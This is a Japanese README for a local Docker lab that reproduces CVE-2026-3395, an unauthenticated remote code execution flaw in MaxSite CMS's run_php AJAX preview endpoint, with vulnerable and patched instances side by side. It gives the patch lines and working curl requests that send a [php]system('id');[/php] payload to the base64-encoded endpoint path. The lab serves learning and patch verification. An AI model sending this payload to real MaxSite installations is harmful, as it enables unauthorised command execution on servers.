このリポジトリは教育および研究目的のみで使用してください。 すべてのテストはローカルのDockerラボ環境で行う必要があります。 このセットアップを公開システムや本番システムにデプロイしないでください。
CVE-2026-3395はMaxSite CMSに影響し、管理用AJAXエンドポイントへの未認証アクセスを許可します。run_phpプラグインが有効な場合、CMSのフックシステムを通じてユーザー入力をPHPコードとして評価でき、リモートコード実行(RCE)につながる可能性があります。
このリポジトリには以下が含まれます:
脆弱なエンドポイントは以下の場所にあります:
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
脆弱なバージョンでは:
POSTデータ)はmso_hook()を介して渡されるrun_phpプラグインが[php]...[/php]ブロックを処理eval()を使用して評価run_phpが有効な場合、これは未認証のリモートコード実行につながります。
パッチ適用済みバージョンでは以下が追加されます:
if (!is_login()) die('no login');
mso_checkreferer();
これにより、認証済みユーザーのみにアクセスが制限されます。
このラボは2つの環境を構築します:
| 環境 | ポート |
|---|---|
| 脆弱 | 8081 |
| パッチ適用済み | 8082 |
docker compose up -d --build
これにより:
run_phpを有効化ブラウザで以下を開きます:
http://localhost:8081 (脆弱)
http://localhost:8082 (パッチ適用済み)
両方のインスタンスが正常に読み込まれるはずです。

AJAXルートはbase64エンコードされたパスを使用します。
以下をbase64エンコードしたもの:
admin/plugins/editor_markitup/preview-ajax.php
は次のとおりです:
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
期待される結果:
no login

コンテナを停止するには:
docker compose down -v
このプロジェクトは、研究および学習目的のために隔離された環境でのみ使用してください。